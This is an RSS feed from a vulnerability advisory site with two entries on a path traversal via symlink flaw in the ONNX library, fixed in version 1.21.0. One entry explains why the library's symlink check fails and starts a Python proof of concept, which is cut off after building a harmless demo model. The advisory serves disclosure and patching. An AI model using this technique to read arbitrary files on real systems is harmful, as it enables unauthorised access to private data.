<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 03 Oct 2026 02:20:04 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-27489 — ONNX: Path Traversal via Symlink</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2026-27489</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; onnx, Red Hat OpenShift AI 2.25, Red Hat OpenShift AI (RHOAI)&lt;/p&gt;
&lt;p&gt;Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; onnx, Red Hat OpenShift AI 2.25, Red Hat OpenShift AI (RHOAI)&lt;/p&gt;
&lt;p&gt;Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2026-27489</guid>
    </item>
    <item>
      <title>GHSA-3r9x-f23j-gc73 — onnx Vulnerable to Path Traversal via Symlink</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-3r9x-f23j-gc73</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: onnx&lt;/p&gt;
&lt;p&gt;### Summary
A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory.&lt;/p&gt;
&lt;p&gt;### Details
The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system:
https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033&lt;/p&gt;
&lt;p&gt;`std::filesystem::is_regular_file` performs a `status(p)` call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```python
# Create a demo model with external data
import os
import numpy as np
import onnx
from onnx import helper, TensorProto, numpy_helper&lt;/p&gt;
&lt;p&gt;def create_onnx_model(output_path=&amp;#34;model.onnx&amp;#34;):
    weight_matrix = np.random.randn(1000, 1000).astype(np.float32)&lt;/p&gt;
&lt;p&gt;X = helper.make_tensor_value_info(&amp;#34;X&amp;#34;, TensorProto.FLOAT, [1, 1000])
    Y = helper.make_tensor_value_info(&amp;#34;Y&amp;#34;, TensorProto.FLOAT, [1, 1000])
    W = numpy_helper.from_array(weight_matrix, name=&amp;#34;W&amp;#34;)&lt;/p&gt;
&lt;p&gt;matmul_node = helper.make_node(&amp;#34;MatMul&amp;#34;, inputs=[&amp;#34;X&amp;#34;, &amp;#34;W&amp;#34;], outputs=[&amp;#34;Y&amp;#34;], name=&amp;#34;matmul&amp;#34;)&lt;/p&gt;
&lt;p&gt;graph = helper.make_graph(
        nodes=[matmul_node],
        name=&amp;#34;SimpleModel&amp;#34;,
        inputs=[X],
        outputs=[Y],
        initializer=[W]
    )&lt;/p&gt;
&lt;p&gt;model = helper.make_model(graph, opset_imports=[helper.make_opsetid(&amp;#34;&amp;#34;, 11)])
    onnx.checker.check_model(model)&lt;/p&gt;
&lt;p&gt;data_file = output_path.replace(&amp;#39;.onnx&amp;#39;, &amp;#39;.data&amp;#39;)…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: onnx&lt;/p&gt;
&lt;p&gt;### Summary
A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory.&lt;/p&gt;
&lt;p&gt;### Details
The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system:
https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033&lt;/p&gt;
&lt;p&gt;`std::filesystem::is_regular_file` performs a `status(p)` call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```python
# Create a demo model with external data
import os
import numpy as np
import onnx
from onnx import helper, TensorProto, numpy_helper&lt;/p&gt;
&lt;p&gt;def create_onnx_model(output_path=&amp;#34;model.onnx&amp;#34;):
    weight_matrix = np.random.randn(1000, 1000).astype(np.float32)&lt;/p&gt;
&lt;p&gt;X = helper.make_tensor_value_info(&amp;#34;X&amp;#34;, TensorProto.FLOAT, [1, 1000])
    Y = helper.make_tensor_value_info(&amp;#34;Y&amp;#34;, TensorProto.FLOAT, [1, 1000])
    W = numpy_helper.from_array(weight_matrix, name=&amp;#34;W&amp;#34;)&lt;/p&gt;
&lt;p&gt;matmul_node = helper.make_node(&amp;#34;MatMul&amp;#34;, inputs=[&amp;#34;X&amp;#34;, &amp;#34;W&amp;#34;], outputs=[&amp;#34;Y&amp;#34;], name=&amp;#34;matmul&amp;#34;)&lt;/p&gt;
&lt;p&gt;graph = helper.make_graph(
        nodes=[matmul_node],
        name=&amp;#34;SimpleModel&amp;#34;,
        inputs=[X],
        outputs=[Y],
        initializer=[W]
    )&lt;/p&gt;
&lt;p&gt;model = helper.make_model(graph, opset_imports=[helper.make_opsetid(&amp;#34;&amp;#34;, 11)])
    onnx.checker.check_model(model)&lt;/p&gt;
&lt;p&gt;data_file = output_path.replace(&amp;#39;.onnx&amp;#39;, &amp;#39;.data&amp;#39;)…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-3r9x-f23j-gc73</guid>
    </item>
  </channel>
</rss>
